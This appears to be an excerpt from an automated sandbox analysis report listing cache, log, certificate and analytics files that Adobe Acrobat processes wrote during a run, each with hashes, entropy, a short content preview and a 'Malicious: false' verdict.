Preview:	2024/12/19-05:56:27.242 77c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/19-05:56:27.244 77c Recovering log #3.2024/12/19-05:56:27.244 77c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.285036459712874
Encrypted:	false
SSDEEP:	6:7WGan/+q2PcNwi2nKuAl9Ombzo2jMGIFUt8OWGa7ZZmw+OWGaQtVkwOcNwi2nKuA:7WGanGvLZHAa8uFUt8OWGa1/+OWGaE5/
MD5:	19B8821D63660ABF3B7D47ED435DB077
SHA1:	584B6786384088101461DADFC9E8E8BCE580F6CA
SHA-256:	A0847FF8B02EA671338B314C1FBFB5B0638295935ED22942E1CFA421007806C7
SHA-512:	116771B535A7DAAB4370EC6E4D43BFC6F5E7C9C40197D9B55CFE35CB4225BDA4A1D25BFFFCB049C5ED445B4F800B1BBBE2BEADBDA2073AF5235E4E827E3165BD
Malicious:	false
Preview:	2024/12/19-05:56:27.362 588 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/19-05:56:27.364 588 Recovering log #3.2024/12/19-05:56:27.365 588 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.285036459712874
Encrypted:	false
SSDEEP:	6:7WGan/+q2PcNwi2nKuAl9Ombzo2jMGIFUt8OWGa7ZZmw+OWGaQtVkwOcNwi2nKuA:7WGanGvLZHAa8uFUt8OWGa1/+OWGaE5/
MD5:	19B8821D63660ABF3B7D47ED435DB077
SHA1:	584B6786384088101461DADFC9E8E8BCE580F6CA
SHA-256:	A0847FF8B02EA671338B314C1FBFB5B0638295935ED22942E1CFA421007806C7
SHA-512:	116771B535A7DAAB4370EC6E4D43BFC6F5E7C9C40197D9B55CFE35CB4225BDA4A1D25BFFFCB049C5ED445B4F800B1BBBE2BEADBDA2073AF5235E4E827E3165BD
Malicious:	false
Preview:	2024/12/19-05:56:27.362 588 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/19-05:56:27.364 588 Recovering log #3.2024/12/19-05:56:27.365 588 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7900e98b-f38c-489a-b5ad-b8804fd76fc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971349758898586
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+MLSsBdOg2HvY2caq3QYiubSpDyP7E4TX:Y2sRdsOdMHm3QYhbSpDa7n7
MD5:	9FDF925E0B39680D766AB6372B8C76B0
SHA1:	1EF92CEC1F4233BB7A6F1DD2CB8FDF9C9B0420AA
SHA-256:	CE0830943F39877629DB8EE213AED96A58708B4811FD7A9F50C22885E5BBA76A
SHA-512:	221F852E301A4A3978173707CFC11B1B163EDA4E8DE3E2160F12C805D3A9E05B56215F13A13248B299BC2FED0F0809E143AD2B3FE3D799F893C5C76892A57522
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379165800139132","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":585032},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971349758898586
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq+MLSsBdOg2HvY2caq3QYiubSpDyP7E4TX:Y2sRdsOdMHm3QYhbSpDa7n7
MD5:	9FDF925E0B39680D766AB6372B8C76B0
SHA1:	1EF92CEC1F4233BB7A6F1DD2CB8FDF9C9B0420AA
SHA-256:	CE0830943F39877629DB8EE213AED96A58708B4811FD7A9F50C22885E5BBA76A
SHA-512:	221F852E301A4A3978173707CFC11B1B163EDA4E8DE3E2160F12C805D3A9E05B56215F13A13248B299BC2FED0F0809E143AD2B3FE3D799F893C5C76892A57522
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379165800139132","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":585032},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234302963728804
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPcNWN:CwNw1GHqPySfkcigoO3h28ytPcNWN
MD5:	33BF0851A9A83C0316215EE7530FC930
SHA1:	D0D16679AB1E2A00996B44C5E4A3435363ACC922
SHA-256:	1690AE7E3F3D74605015B611BF57645B64B1A6E46CC7B66274BB1D3733E4D0C6
SHA-512:	11E99E995B574F0FE255799762A3D04B5476AEC74B7F34E103249784254949FF2ABC26F4F585BA3B5631DEF08F7BEA0B4F35171471785AE040665FD5E2A7B6AE
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.281309699837974
Encrypted:	false
SSDEEP:	6:7WGaVt+q2PcNwi2nKuAl9OmbzNMxIFUt8OWGaVTaZmw+OWGaVvVkwOcNwi2nKuAo:7WGaevLZHAa8jFUt8OWGa5a/+OWGar5Y
MD5:	12F3261C51C69E4B4EB68BADD8170C5E
SHA1:	6C8D124050BAF1C7C0A03A7EBB20E5CB4E7ABC74
SHA-256:	391849B915A1A2255D3A9F049F4DA35277CE4D4D571CEF4B859A2800B7792F79
SHA-512:	336C67687CE5B2DA1C575247126EF26B0F0230A622CEF94F7A2F19D1E4DD39CB2EA61C81CCD6104CFDC23E6088284FF5001217BC7E2BA23FA7B75340F60DB7F2
Malicious:	false
Preview:	2024/12/19-05:56:27.595 588 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/19-05:56:27.596 588 Recovering log #3.2024/12/19-05:56:27.597 588 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.281309699837974
Encrypted:	false
SSDEEP:	6:7WGaVt+q2PcNwi2nKuAl9OmbzNMxIFUt8OWGaVTaZmw+OWGaVvVkwOcNwi2nKuAo:7WGaevLZHAa8jFUt8OWGa5a/+OWGar5Y
MD5:	12F3261C51C69E4B4EB68BADD8170C5E
SHA1:	6C8D124050BAF1C7C0A03A7EBB20E5CB4E7ABC74
SHA-256:	391849B915A1A2255D3A9F049F4DA35277CE4D4D571CEF4B859A2800B7792F79
SHA-512:	336C67687CE5B2DA1C575247126EF26B0F0230A622CEF94F7A2F19D1E4DD39CB2EA61C81CCD6104CFDC23E6088284FF5001217BC7E2BA23FA7B75340F60DB7F2
Malicious:	false
Preview:	2024/12/19-05:56:27.595 588 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/19-05:56:27.596 588 Recovering log #3.2024/12/19-05:56:27.597 588 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241219120158Z-209.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.6376462682686903
Encrypted:	false
SSDEEP:	96:Fn1AGmY2nTLKnzN4lu1/4uy47rHMMMxAz:FsY2XQzyQnuc
MD5:	1468EB269F45D6EECE72317AF6B1587F
SHA1:	AB52469CD54F341F71D8EEA78E5293C597CC2560
SHA-256:	56B0D18154217AEBE5F78DAA5DAF7861967BB4B615B7D1FFCDBC3C98C8834393
SHA-512:	FFEF2EC31529E6165D9549A150FC8DA65917002B81A8E4747853AC7F51D88B3AC545862D5EB39684064EE600140C9D0BDAA97D14067C01AA24B17419950781FA
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438663773499554
Encrypted:	false
SSDEEP:	384:yeaci5G2iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1+urVgazUpUTTGt
MD5:	A9CF47AA2A432926F4DD2B8372255783
SHA1:	03F0C3BCA1E7C2633D3CFA83C59A58E4788F3FB6
SHA-256:	FFA51217CB06F8DB3F954A22BBDE6DCC78451B292DEF40E1EAAE4C646D44DD6D
SHA-512:	24EB3D239D6296B07668E9ECF8ACFB2C61C4D7F511983383EA970F7528B2DC443D352525BCA783B691524A13C8DED9D55149CED56E8F44593137EDABC8F3480A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7762376226240972
Encrypted:	false
SSDEEP:	48:7Mup/E2ioyVXQxioy3DoWoy1CABoy1qQ6KOioy1noy1AYoy1Wioy1hioybioygQR:7RpjuAx0iAPyXKQ0sqb9IVXEBodRBkH
MD5:	8BF53D14A307458DA6D473D2C91C2BC1
SHA1:	2D9BAFA5EAD52D647C9E6EF72624AB8244804E63
SHA-256:	1B36BE85E40ABAF813D6DB66611F08B93FD03505D7318D6DD4FBD3FCDC21E0F2
SHA-512:	31572DB11656698C6A379B8238FE31552D302006E420FED46F25EDBA1B58E02E805DAC5A5CDE3D53512BC387949E888D2A130FC69585DF0255C0BFD9CF1357C2
Malicious:	false
Preview:	.... .c.....9.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFklYHIhOEvfllXlE/HT8kl+httNNX8RolJuRdxLlGB9lQRYwpDdt:kKB8KT8s+3NMa8RdWBwRd
MD5:	D643F509AEC28BFB8CC3A90F59C58493
SHA1:	5CA7CB18325A1D33B6B82AEC6A018F03A396EB3A
SHA-256:	31E82A2E0B7053D73FAECE49BCFB32765E79280F771A4571AC6AF261BFAF60E8
SHA-512:	A37A7D7793BACC5B287C6C16ED3494D8EC0FD6CCE082D2937FE8C42241E995E7B4CE91A63FE86F0594E0A80AC004F03F66ADED55CE1FA489A6E49AC7A36FFB7A
Malicious:	false
Preview:	p...... ........+VN..R..(....................................................... ..........W....@...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2418003062782916
Encrypted:	false
SSDEEP:	6:kKKD9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:vDImsLNkPlE99SNxAhUe/3
MD5:	DF26D0A7726ECE9E5F1E3620F03AAB33
SHA1:	3C662FC8A3C3026E3CF550C5E4FB3618B9B886E4
SHA-256:	528724FD04796610E0A89BD60107F80B6501E5313929A306FBC68EC744845022
SHA-512:	F8484CB0FA1B0A5A4E428E461D7FA00B37B5D31406A05DC1FAA4E07DF74947D64EFA3F61DDCC302275693DC1CFCB456C68361DA98B8C0A4F641EB22B27DEF78E
Malicious:	false
Preview:	p...... ..........7..R..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.394211668027622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJM3g98kUwPeUkwRe9:YvXKXi6qsdTeOJfS5GMbLUkee9
MD5:	F9E2C8784BC270407EE437D930920DD7
SHA1:	A3F63956609114D345C4953532B45A33F1C9383A
SHA-256:	FE74362BDB2E0E789D901FA29875B5FDB1AB39C0F25D8AD9F10BC0383E18DF34
SHA-512:	364B2BABADB4C3675CF5C075E0BBBF37F3C795E9179307C14A9FD226441C4631A3E23C8A52CB28600B3E9C680217ED2E51324F00E75D54C529366493A4EAB4CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.332670698596799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfBoTfXpnrPeUkwRe9:YvXKXi6qsdTeOJfS5GWTfXcUkee9
MD5:	7C08154470839EC266909D299F0D9C63
SHA1:	941CB828ACD3FA9B36336EA202E97AB6F106C120
SHA-256:	57B40B62ADECD7024F0A944903B55A0F457D088B6327D54C37B64C947C8DB547
SHA-512:	AC22F79B904FD12FF9F9C8376EB212EBEE76F99B79144FE927361710881FDABB3A980E46D0F5E14BAF7EF66D683A4996B32F4423C07BE8A90A0CE55042D9D227
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311376912823678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfBD2G6UpnrPeUkwRe9:YvXKXi6qsdTeOJfS5GR22cUkee9
MD5:	56AD1F18824DFE4EC426C2B8FFF59689
SHA1:	0084BBB8264EF6B7A49C9AEBC24515D77B1EA39B
SHA-256:	AE933C36A6EBEA1990520982E3FC858304FBF940F6FC49D852C1497B878E4DB4
SHA-512:	D0114D4671F3E1611F9309C3C42F2D05B824403895B891B464481142CB708A21A2CFEE7F5C8A0E6338879D0068EE1E61450D36A328B61659217769001BA5233C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3821723670319255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfPmwrPeUkwRe9:YvXKXi6qsdTeOJfS5GH56Ukee9
MD5:	D7C7C96F0335AD91B33124FB351A0DEE
SHA1:	3FB99B74FFA5374A6BBDE68FAD4C7CEF69B2A524
SHA-256:	5D7F6F988CCF48424BEC1D964450D281979E936BC830C6E7BFA559CFBA69653D
SHA-512:	2E40067C35983E693144EA67EAA23EB5F832B81116A0CD5E49412FA81E93DE98997971CFF212BD60175F4355BD54B7E0494DA455AB43A3C9F0823E7DCE53D6DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692589767315035
Encrypted:	false
SSDEEP:	24:Yv6Xi6qmeOnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:Yv05eohgy6SAFv5Ah8cv/O
MD5:	12FE72C0C04C433F22BD4B8D5820FF80
SHA1:	06EA8409AC63499807D88FA3528144710C72207A
SHA-256:	5CE8DE1C61D93B0DAC9D24F5F3702FBC0998F2FED07213C1CBC86F768126BCC9
SHA-512:	48B05373F99E2F7AAB36251AB8ADB0BD679C8DDF0DB31F1EF51CD3D2AA7A0B5EC8A88B1EA8509993CBBE5E1F145F467ABA4AF99DBE12835FD8B0F08176A2D25F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320134368607488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJf8dPeUkwRe9:YvXKXi6qsdTeOJfS5GU8Ukee9
MD5:	954E5EDBE1E0CB8EC117837BBAC9E642
SHA1:	52EA7A95540756A8ABEEDCDD6D0539529F01E6FF
SHA-256:	7C490E4D41B2CEA4669C06A314FFE79A5A360FF0FC7473615582116BF824BA6E
SHA-512:	A8A2E14C1A2AA3CC784BB9847F9A8633AB06A44BC4056C0E15D907041114FD9D9B76187017F9F978397BF50D2AEF8A3DE00F4C7D3FCB263E512DF85DCFF2CE0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
